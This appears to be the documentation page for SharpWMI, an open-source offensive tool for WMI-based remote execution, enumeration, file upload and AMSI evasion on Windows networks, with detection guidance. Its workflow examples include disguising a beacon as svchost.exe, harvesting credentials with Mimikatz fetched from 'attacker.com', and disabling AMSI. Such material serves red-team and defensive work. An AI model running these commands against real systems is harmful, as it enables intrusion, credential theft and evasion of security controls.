SharpWMI Overview - SpecterOps Open Source

  _____ _                   __        ____  __ ___
 / ____| |                  \ \      / /  \/  |_ _|
| (___ | |__   __ _ _ __ _ __\ \ /\ / /| |\/| || |
 \___ \| '_ \ / _` | '__| '_ \\ V  V / | |  | || |
 ____) | | | | (_| | |  | |_) |\_/\_/  |_|  |_|___|
|_____/|_| |_|\__,_|_|  | .__/
                        | |
                        |_|

What is SharpWMI?

SharpWMI is a C# implementation of various WMI functionality that provides offensive security practitioners with a native toolkit for Windows Management Instrumentation operations. It enables local and remote WMI queries, remote process creation, VBScript execution, file uploads, and system enumeration—all through the Windows Management Instrumentation interface.

SharpWMI was originally created by @harmj0y and has been enhanced by multiple contributors including Mariusz B. (mgeeky), Evi1cg, Steven Flores, and Justin Bui.

Understanding WMI

Windows Management Instrumentation (WMI) is Microsoft’s implementation of Web-Based Enterprise Management (WBEM), providing a standardized infrastructure for managing and monitoring Windows systems.

Remote Execution

Execute processes and scripts on remote systems via Win32_Process

System Enumeration

Query system information, services, processes, and configurations

Event Subscriptions

Create WMI event subscriptions for delayed or triggered execution

File Operations

Upload files using WMI class properties as a data channel

WMI Attack Surface

Key Capabilities

Execution
Enumeration
File Operations
Process Management

Remote Code Execution:

Direct process creation via Win32_Process
VBScript execution through event subscriptions
Command output retrieval
MSI installation support
AMSI evasion capabilities

Available Actions

SharpWMI provides the following actions organized by category:

Enumeration Actions

query

Execute WMI queries for system enumeration

loggedon

Enumerate logged-on users on remote systems

ps

List running processes with owner information

firewall

Enumerate firewall rules and ports

Execution Actions

exec

Create remote processes via WMI

executevbs

Execute VBScript through WMI event subscriptions

install

Install MSI files remotely

File and Process Actions

upload

Upload files via WMI properties

terminate

Terminate processes by name or PID

Environment Variable Actions

getenv

Retrieve environment variables

setenv

Set environment variable values

delenv

Delete environment variables

Basic Usage Patterns

Local Enumeration

Query the local system without requiring alternate credentials:

# Query local services
SharpWMI.exe action=query query="select * from win32_service"

# Query local processes
SharpWMI.exe action=query query="select * from win32_process"

# Query AntiVirus products
SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2"

Remote Enumeration

Query remote systems with optional credentials:

# Query remote system (current credentials)
SharpWMI.exe action=query computername=server.domain.com query="select * from win32_service"

# Query with alternate credentials
SharpWMI.exe action=query computername=server.domain.com query="select * from win32_service" username="DOMAIN\user" password="Password123!"

# Query multiple hosts
SharpWMI.exe action=query computername=server1,server2,server3 query="select * from win32_process"

Remote Execution

Execute commands on remote systems:

# Basic remote execution
SharpWMI.exe action=exec computername=server.domain.com command="powershell.exe -enc ZQBj..."

# Execute with output retrieval
SharpWMI.exe action=exec computername=server.domain.com command="whoami" result=true

# Execute with AMSI evasion
SharpWMI.exe action=exec computername=server.domain.com command="powershell.exe -c Get-Process" amsi=disable result=true

Common Arguments

All remote actions support the following common arguments:

Targeting
Authentication
Execution Options

Target Specification:

Argument	Description
`computername=HOST`	Target single remote host
`computername=HOST1,HOST2,...`	Target multiple hosts (comma-separated)
(omit computername)	Target localhost

Credential Options:

Argument	Description
`username=DOMAIN\user`	Specify alternate username
`password=Password123!`	Specify password (required with username)
(omit both)	Use current user credentials

Both username and password must be provided together. You cannot specify one without the other.

Execution Modifiers:

Argument	Description	Applicable Actions
`amsi=disable`	Disable AMSI before execution	exec, executevbs, upload, install
`result=true`	Retrieve command output	exec
`namespace=X`	Specify WMI namespace	query

Typical Workflows

Domain Reconnaissance

# 1. Enumerate logged-on users across domain
SharpWMI.exe action=loggedon computername=dc.domain.com,fileserver.domain.com,workstation.domain.com

# 2. Query firewall rules on key systems
SharpWMI.exe action=firewall computername=webserver.domain.com

# 3. List processes on target systems
SharpWMI.exe action=ps computername=admin-workstation.domain.com

Remote Execution Chain

# 1. Upload payload to target
SharpWMI.exe action=upload computername=target.domain.com source="beacon.exe" dest="C:\Windows\temp\svchost.exe" amsi=disable

# 2. Execute uploaded payload
SharpWMI.exe action=exec computername=target.domain.com command="C:\Windows\temp\svchost.exe"

# 3. Verify execution
SharpWMI.exe action=ps computername=target.domain.com

Credential Harvesting

# 1. Execute Mimikatz via VBScript
SharpWMI.exe action=executevbs computername=target.domain.com url="http://attacker.com/mimikatz.ps1" eventname="Update" amsi=disable

# 2. Retrieve output via environment variable
SharpWMI.exe action=getenv name=RESULT computername=target.domain.com

Stealthy Enumeration

# 1. Query network connections (Windows 10+)
SharpWMI.exe action=query computername=target.domain.com query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"

# 2. Enumerate software installations
SharpWMI.exe action=query computername=target.domain.com query="SELECT * FROM Win32_Product"

# 3. Check for scheduled tasks
SharpWMI.exe action=query computername=target.domain.com query="SELECT * FROM Win32_ScheduledJob"

Detection Considerations

WMI operations generate telemetry that can be detected by defensive tools. Use appropriate operational security measures.

Host-Based Detection

Windows Event Logs:

Event ID 4688: Process creation (Win32_Process.Create)
Event ID 5857-5861: WMI activity
Event ID 5858: WMI permanent event subscriptions (executevbs action)
Sysmon Event ID 19-21: WMI event consumer creation

Registry Changes:

AMSI evasion modifies HKCU\Software\Microsoft\Windows Script\Settings
WMI event subscriptions persist in WMI repository

Network Detection

DCOM traffic on port 135 (RPC endpoint mapper)
Dynamic RPC ports for WMI communication
SMB traffic if using network shares
Unusual WMI query patterns

WMI-Specific Indicators

Creation of suspicious WMI classes (file upload)
ActiveScriptEventConsumer with VBScript payloads
Win32_Process creation from remote systems
Bulk WMI queries across multiple systems
WMI registry modifications for AMSI

Defensive Measures

Monitor WMI event log (Microsoft-Windows-WMI-Activity/Operational)
Enable Sysmon with WMI activity rules
Alert on WMI event subscription creation
Monitor Win32_Process.Create invocations
Restrict WMI access via GPO/firewall rules
Implement WMI query auditing

AMSI Evasion

SharpWMI includes AMSI evasion capabilities for execution actions:

AMSI evasion works by modifying the registry key HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable to disable AMSI for VBScript and PowerShell. The original value is restored after execution.

Actions supporting AMSI evasion:

exec (with result=true)
executevbs
upload
install

Usage:

SharpWMI.exe action=exec computername=target.domain.com command="powershell -c Get-Process" amsi=disable result=true

The AMSI evasion code was contributed by Steven Flores (0xthirteen) from the SharpMove project.

Prerequisites

Execution Requirements

Windows operating system
.NET Framework 3.5 or later
Appropriate network access to target systems

Privilege Requirements

Local Operations:

Standard user privileges for local queries
Administrator for some system queries

Remote Operations:

Local administrator on target system
WMI permissions on target
Network access to RPC/DCOM ports

Network Requirements

Port 135 (RPC endpoint mapper)
Dynamic RPC ports (49152-65535 by default)
Port 445 (SMB) may be used for authentication

Technical Background

Win32_Process.Create vs Event Subscriptions

Win32_Process.Create:

Direct synchronous execution
Immediate process creation
Limited to command-line arguments
Used by exec action

WMI Event Subscriptions:

Asynchronous delayed execution
Supports VBScript payloads
Can persist across reboots (if not cleaned up)
More complex detection footprint
Used by executevbs action

File Upload Mechanism

SharpWMI uploads files by:

Creating a temporary WMI class with a string property
Storing base64-encoded file bytes in the property
Using PowerShell on the target to read from WMI and write to disk
Cleaning up the temporary WMI class

This avoids direct SMB file writes but requires PowerShell on the target.

Command Output Retrieval

When using result=true with the exec action:

SharpWMI creates an environment variable with encoded command output
The command is wrapped in PowerShell to capture output
Output is XOR-encoded and stored in a WMI environment variable
SharpWMI retrieves and decodes the output
Environment variable is cleaned up

This technique was contributed by Evi1cg (@Ridter).

Authors and Credits

Contribution	Author
Original SharpWMI implementation	Will Schroeder @harmj0y
WMI code-exec output idea	Evi1cg @Ridter
AMSI evasion code (from SharpMove)	Steven Flores 0xthirteen
Enhancements, VBS flexibility, file upload	Mariusz B. / mgeeky @mariuszbit
Install MSI files feature	Justin Bui @slyd0g

Next Steps

Compilation Guide

Build SharpWMI from source

Usage Examples

Practical usage scenarios and examples

WMI Queries

Execute WMI queries for enumeration

Remote Execution

Create remote processes

License

SharpWMI is licensed under the BSD 3-Clause license.

SharpWMI is part of the GhostPack suite of offensive security tools created by @harmj0y.

​What is SharpWMI?

​Understanding WMI

Remote Execution

System Enumeration

Event Subscriptions

File Operations

​WMI Attack Surface

​Key Capabilities

​Available Actions

​Enumeration Actions

query

loggedon

ps

firewall

​Execution Actions

exec

executevbs

install

​File and Process Actions

upload

terminate

​Environment Variable Actions

getenv

setenv

delenv

​Basic Usage Patterns

​Local Enumeration

​Remote Enumeration

​Remote Execution

​Common Arguments

​Typical Workflows

​Detection Considerations

​AMSI Evasion

​Prerequisites

​Technical Background

​Authors and Credits

​Next Steps

Compilation Guide

Usage Examples

WMI Queries

Remote Execution

​License

What is SharpWMI?

Understanding WMI

WMI Attack Surface

Key Capabilities

Available Actions

Enumeration Actions

Execution Actions

File and Process Actions

Environment Variable Actions

Basic Usage Patterns

Local Enumeration

Remote Enumeration

Remote Execution

Common Arguments

Typical Workflows

Detection Considerations

AMSI Evasion

Prerequisites

Technical Background

Authors and Credits

Next Steps

License